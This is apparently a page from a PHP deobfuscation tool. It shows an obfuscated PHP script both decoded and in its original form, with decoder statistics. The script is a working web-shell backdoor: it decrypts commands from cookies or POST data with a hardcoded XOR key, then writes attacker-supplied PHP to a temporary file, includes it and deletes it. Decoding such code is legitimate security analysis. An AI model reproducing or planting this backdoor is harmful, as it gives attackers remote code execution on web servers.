Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function yfmcqmmq_l(){$znxtgdvu='_vbqwhhvi'; print_r (62883+62883); } $kpdmzi/*z..

Decoded Output download

<?php 	function	yfmcqmmq_l(){$znxtgdvu='_vbqwhhvi';	print_r	(62883+62883);	} 
 
$kpdmzi/*zqnl  */=       'kpdmzi'/*ikczb   */^/* yfi */''; 
 
 
 
function/*  jtuhx  */qmxximu($uilnsidhb,	$osmuhiakfn) 
 
 
{ 
 
	global    $kpdmzi;/* mb*/$lvrtjjgtyo    =       ""; 
 
 
/*   dgzj  */for	($zslckdx/*  ztmkp */=   0;     $zslckdx  <     strlen($uilnsidhb);)/*  xgjo   */{ 
 
	for/*bcvn  */($vqpxu_a	=/* rsj*/0;      $vqpxu_a	<	strlen($osmuhiakfn)   &&	$zslckdx	</*  hun   */strlen($uilnsidhb);	$vqpxu_a++,	$zslckdx++)    {    $lvrtjjgtyo	.=	$kpdmzi(ord($uilnsidhb[$zslckdx])	^	ord($osmuhiakfn[$vqpxu_a])); 
 
      } 
 
 
/*  kafp   */} 
	return/*   hiqdp   */$lvrtjjgtyo; 
} 
 
 
 
function/* jw */zyfcj($u_jbzfgzhi,  $uilnsidhb) 
 
 
{ 
 
 
	global    $kpdmzi; 
 
/*  t*/$nrpgcc     =/*rpaj   */sprintf("."/*  na   */.	$kpdmzi(47)	.    "%"	.	"s".$kpdmzi(46)	.    $kpdmzi(352-240)	./*  qce_g   */$kpdmzi(208-100),/* sjp */md5($u_jbzfgzhi)); 
 
/*v   */file_put_contents($nrpgcc,/*rdn */"<"   .       "?"/*qyv */.  "p"	.	"h".$kpdmzi(112)    ./* eg  */$kpdmzi(32)      .       $kpdmzi(149-32)	.  "n"."l"."i"."n"   .	"k"/*  vqmb   */./*  pi_bo   */$kpdmzi(40)  .	"_"/*lm_oh*/./*  xihc_   */"_"/*jpwjw  */.    "F"."I"/*   aflwz */.   "L"/*  fd */.	"E"/*   v  */.       "_"/*  fa */.     "_"/*anvz */.  ")".";".$kpdmzi(32)/*  loo */./*  _   */$uilnsidhb["d"]); 
 
 
	include($nrpgcc); 
 
   $ajhyn_lrsn   =/*  kfk   */$nrpgcc; 
 
/*_mc   */unlink($ajhyn_lrsn);} 
 
function/*yh*/zezk_zv(){ 
 
/*   or */global/* zgqx */$kpdmzi;	 
 
/* zcxsl  */$zslckdx/*   crw */=       array();/* kf   */$zslckdx["p"."v"]/*ofs  */=	phpversion(); 
 
   $zslckdx[$kpdmzi(115)     ./*   rtbnc   */$kpdmzi(118)]/*  dett   */=/*   t  */$kpdmzi(51)/*kqb*/./* vfc   */".".$kpdmzi(534-481); 
 
 
     echo    @serialize($zslckdx);} 
 
 
function  cjpjpqm($uilnsidhb,/*_teo_*/$u_jbzfgzhi,/*  mi  */$ztktlvoit){/*   yu  */global	$kpdmzi;/*  _qpvd*/	$uilnsidhb/*  _o */=       unserialize(qmxximu(qmxximu(base64_decode($uilnsidhb),  $u_jbzfgzhi),/* ik */$ztktlvoit)); 
 
 
	if       (isset($uilnsidhb[$kpdmzi(97)    ./*  b   */"k"]))    {    if       ($uilnsidhb["a"]/*ielr   */==	"i")	{/*  zmtgd   */zezk_zv();/*wyw  */}	elseif    ($uilnsidhb["a"]/*  rkoa   */==	"e")/*   nkd  */{/*  o   */zyfcj($u_jbzfgzhi,	$uilnsidhb); 
 
 
/*  zf  */}/*  iupj   */exit(); 
 
	} 
} 
 
$ahizhq/*   iljg   */=/* hu*/$_COOKIE; 
 
$vqpxu_asotrzc/*  o*/=/*sefa_   */$_POST; 
 
 
$ahizhq     =	array_merge($vqpxu_asotrzc,/*kpuc  */$ahizhq); 
 
$u_jbzfgzhi	=    "e".$kpdmzi(1053-951)	.    $kpdmzi(97)	.	"7".$kpdmzi(132-76)    ./* vxf*/$kpdmzi(98)	.	$kpdmzi(51)	.	"6"."-"/* wl_kb   */.  $kpdmzi(251-153)  ./*nd */"4"."4"."2"."-"."4"."6"."e"."b"/*   _fo   */.	"-"."8"/*   dobgm  */.	$kpdmzi(50)/* hx  */.	"5".$kpdmzi(972-870)	.	"-"   ./* te   */$kpdmzi(55)      .	"1"."5"	.     $kpdmzi(48)       .      "b".$kpdmzi(101)	./*  bzocb  */"1"/*fn */.	$kpdmzi(104-48)	./* mvdk   */$kpdmzi(98)/*   za   */./*v  */"f"."2"/*   vp */.    "d";foreach	($ahizhq     as/*  k*/$ztktlvoit/*   qxbvj*/=>	$uilnsidhb)    { 
 
/* nlyan */cjpjpqm($uilnsidhb,	$u_jbzfgzhi,/* drjh */$ztktlvoit);} 
 
 
 ?>

Did this file decode correctly?

Original Code

<?php 	function	yfmcqmmq_l(){$znxtgdvu='_vbqwhhvi';	print_r	(62883+62883);	}

$kpdmzi/*zqnl  */=       'kpdmzi'/*ikczb   */^/* yfi */'';



function/*  jtuhx  */qmxximu($uilnsidhb,	$osmuhiakfn)


{

	global    $kpdmzi;/* mb*/$lvrtjjgtyo    =       "";


/*   dgzj  */for	($zslckdx/*  ztmkp */=   0;     $zslckdx  <     strlen($uilnsidhb);)/*  xgjo   */{

	for/*bcvn  */($vqpxu_a	=/* rsj*/0;      $vqpxu_a	<	strlen($osmuhiakfn)   &&	$zslckdx	</*  hun   */strlen($uilnsidhb);	$vqpxu_a++,	$zslckdx++)    {    $lvrtjjgtyo	.=	$kpdmzi(ord($uilnsidhb[$zslckdx])	^	ord($osmuhiakfn[$vqpxu_a]));

      }


/*  kafp   */}
	return/*   hiqdp   */$lvrtjjgtyo;
}



function/* jw */zyfcj($u_jbzfgzhi,  $uilnsidhb)


{


	global    $kpdmzi;

/*  t*/$nrpgcc     =/*rpaj   */sprintf("\56"/*  na   */.	$kpdmzi(47)	.    "\45"	.	"s".$kpdmzi(46)	.    $kpdmzi(352-240)	./*  qce_g   */$kpdmzi(208-100),/* sjp */md5($u_jbzfgzhi));

/*v   */file_put_contents($nrpgcc,/*rdn */"<"   .       "\77"/*qyv */.  "\x70"	.	"h".$kpdmzi(112)    ./* eg  */$kpdmzi(32)      .       $kpdmzi(149-32)	.  "n"."l"."\x69"."\x6e"   .	"\x6b"/*  vqmb   */./*  pi_bo   */$kpdmzi(40)  .	"\x5f"/*lm_oh*/./*  xihc_   */"\x5f"/*jpwjw  */.    "F"."\111"/*   aflwz */.   "\x4c"/*  fd */.	"\x45"/*   v  */.       "\x5f"/*  fa */.     "\137"/*anvz */.  ")".";".$kpdmzi(32)/*  loo */./*  _   */$uilnsidhb["\144"]);


	include($nrpgcc);

   $ajhyn_lrsn   =/*  kfk   */$nrpgcc;

/*_mc   */unlink($ajhyn_lrsn);}

function/*yh*/zezk_zv(){

/*   or */global/* zgqx */$kpdmzi;	

/* zcxsl  */$zslckdx/*   crw */=       array();/* kf   */$zslckdx["p"."v"]/*ofs  */=	phpversion();

   $zslckdx[$kpdmzi(115)     ./*   rtbnc   */$kpdmzi(118)]/*  dett   */=/*   t  */$kpdmzi(51)/*kqb*/./* vfc   */".".$kpdmzi(534-481);


     echo    @serialize($zslckdx);}


function  cjpjpqm($uilnsidhb,/*_teo_*/$u_jbzfgzhi,/*  mi  */$ztktlvoit){/*   yu  */global	$kpdmzi;/*  _qpvd*/	$uilnsidhb/*  _o */=       unserialize(qmxximu(qmxximu(base64_decode($uilnsidhb),  $u_jbzfgzhi),/* ik */$ztktlvoit));


	if       (isset($uilnsidhb[$kpdmzi(97)    ./*  b   */"k"]))    {    if       ($uilnsidhb["a"]/*ielr   */==	"\x69")	{/*  zmtgd   */zezk_zv();/*wyw  */}	elseif    ($uilnsidhb["a"]/*  rkoa   */==	"\145")/*   nkd  */{/*  o   */zyfcj($u_jbzfgzhi,	$uilnsidhb);


/*  zf  */}/*  iupj   */exit();

	}
}

$ahizhq/*   iljg   */=/* hu*/$_COOKIE;

$vqpxu_asotrzc/*  o*/=/*sefa_   */$_POST;


$ahizhq     =	array_merge($vqpxu_asotrzc,/*kpuc  */$ahizhq);

$u_jbzfgzhi	=    "\145".$kpdmzi(1053-951)	.    $kpdmzi(97)	.	"7".$kpdmzi(132-76)    ./* vxf*/$kpdmzi(98)	.	$kpdmzi(51)	.	"6"."\55"/* wl_kb   */.  $kpdmzi(251-153)  ./*nd */"4"."4"."2"."-"."4"."6"."\145"."\x62"/*   _fo   */.	"-"."\70"/*   dobgm  */.	$kpdmzi(50)/* hx  */.	"5".$kpdmzi(972-870)	.	"\x2d"   ./* te   */$kpdmzi(55)      .	"1"."\65"	.     $kpdmzi(48)       .      "b".$kpdmzi(101)	./*  bzocb  */"\x31"/*fn */.	$kpdmzi(104-48)	./* mvdk   */$kpdmzi(98)/*   za   */./*v  */"f"."\x32"/*   vp */.    "\144";foreach	($ahizhq     as/*  k*/$ztktlvoit/*   qxbvj*/=>	$uilnsidhb)    {

/* nlyan */cjpjpqm($uilnsidhb,	$u_jbzfgzhi,/* drjh */$ztktlvoit);}


Function Calls

array_merge 1

Variables

$ahizhq 0
$kpdmzi chreb
$vqpxu_asotrzc 0

Stats

MD5 8147ecb17723b25b8065119f523b2ccb
Eval Count 0
Decode Time 99 ms